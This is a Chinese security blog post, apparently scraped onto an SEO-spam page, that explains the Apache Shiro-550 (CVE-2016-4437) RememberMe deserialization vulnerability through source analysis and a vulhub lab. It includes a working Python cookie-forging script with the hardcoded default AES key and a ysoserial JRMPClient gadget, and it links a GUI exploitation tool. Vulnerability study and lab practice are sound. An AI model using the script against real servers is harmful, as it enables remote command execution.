当前位置: 首页 > news >正文

网站建设申请书长沙网站托管优化

网站建设申请书,长沙网站托管优化,个人可以开通微商城吗,英文网站接单做翻译//发点去年存货 前言 apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie&#xf…

//发点去年存货

前言

apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie,服务端反序列化时触发漏洞,从而执行命令。
影响版本如下:

Apache shiro <= 1.2.4

下面我们展开来讲讲该漏洞是如何利用的。

利用

在服务器接受带有shiro框架的服务请求时,cookie会经过以下几个步骤:

1.服务器会先检索RememberMe cookie的值
2.之后进行base64解码
3.接着使用aes解码
4.最后进行反序列化操作

其中AES加密cookie的值时利用的是加密密钥硬编码,也就是说有一定几率的可以进行破解,因此可能存在伪造cookie来进行恶意反序列化的攻击。
下面我们具体分析一下,先看org/apache/shiro/mgt/DefaultSecurityManager.java:
里面有一个方法叫getRememberedSerializedIdentity ,简单看一下就是:
在这里插入图片描述可以看到里面获取了请求的cookie值再进行了base64编码,于是我们接着看谁调用了它,于是找到了getRememberedPrincipals

在这里插入图片描述将解码后信息放进了一个数组里,然后使用了这个名为convertbytestoprincipals方法去处理,继续跟进了,发现该方法对信息进行了decrypt解密,继续跟进一下:

protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}

可以看到这是一个获取加密再进行解密的过程,我们跟进getDecryptionCipherKey() ,根据返回值一直跟进到setCipherKey ,发现:

setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

我们找到了这个固定的加密的key:

在这里插入图片描述那我们如何进行反序列化呢,这里需要回到convertbytestoprincipals:

在这里插入图片描述跟进deserialize,发现了两个实现方法,而且都是调用的原生readobject:

在这里插入图片描述

实例

这里以一个例题为例,我们先搭建个靶机:

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

进入靶机的页面就是一个带有记住功能的登陆页面:

在这里插入图片描述抓包后改cookie值发现返回了以下数据,rememberme=deleteme,也就说明可能存在漏洞:

在这里插入图片描述这里贴一个基于YSOSERIAL反序列化工具的python脚本:

# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换密钥iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

生成后替换cookie即可,当然也有图形化页面的攻击方法:

项目地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

页面如下,输入要检测的ip地址设置攻击方法即可,非常方便:

在这里插入图片描述选择检测方式后会进行检测,如果出现find valid gadget就说明可以利用,我们就可以从工具上输入我们要执行的漏洞了。

结语

简单带大家总结了一下shiro550反序列化漏洞,不知道大家学习的怎么样了,简单来看shiro框架命令执行的的执行流程可以简单概括为:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值,我们根据上面源码的分析以及它硬编码的特性,便可以进行攻击,当然这只是最简单的利用,我们也可以结合其他利用链来构造攻击链接,有兴趣的小伙伴可以自己去尝试一下。

http://www.hotlads.com/news/2151.html

相关文章:

  • vs2010做网站登陆界面百度推广服务
  • 深圳好点的网站建设公司南昌seo排名
  • 网站开发开发需求文档模板注册域名在哪里注册
  • 上海礼品定制网站线上职业技能培训平台
  • 一站式网站建设用途关键词指数查询
  • 装修网站怎么做的十大职业资格培训机构
  • 做棋牌网站赚钱吗夫唯seo教程
  • 昆山建设信息网站营销软文范例
  • 那个网站平台可以做兼职百度平台客服怎么联系
  • 做网站需要的条件企业网站制作公司
  • 互联网网站设计网络销售模式有哪些
  • seo优化网站建设哪家好搜索引擎简称seo
  • 怎样查看wordpress用的什么主题网络优化的三个方法
  • 做网站知识点营销方式有哪几种
  • 鹤壁做网站哪家好如何让百度搜索到自己的网站
  • 呼伦贝尔网站设计网站一般需要怎么推广
  • wordpress仿站步奏淘宝店铺推广方法
  • 外国炫酷网站重庆广告公司
  • 网上购物平台哪家质量最好快速优化网站排名的方法
  • 贵阳百度公司建网站电话优秀营销软文范例500字
  • php动态网站开发基本流程图百度提交入口
  • 美女做暖暖免费视频网站seo查询软件
  • 网络营销研究背景及意义郑州网络优化实力乐云seo
  • 小程序商城开源廊坊百度关键词优化
  • 建站哪个便宜无锡seo优化
  • 如何k掉别人的网站seo排名快速优化
  • 东莞望牛墩网站建设百度快照在哪里
  • 网站域名被黑重庆seo全面优化
  • 男女做污的事情网站视频seo推广公司价格
  • 企业被网站收录seo优化文章网站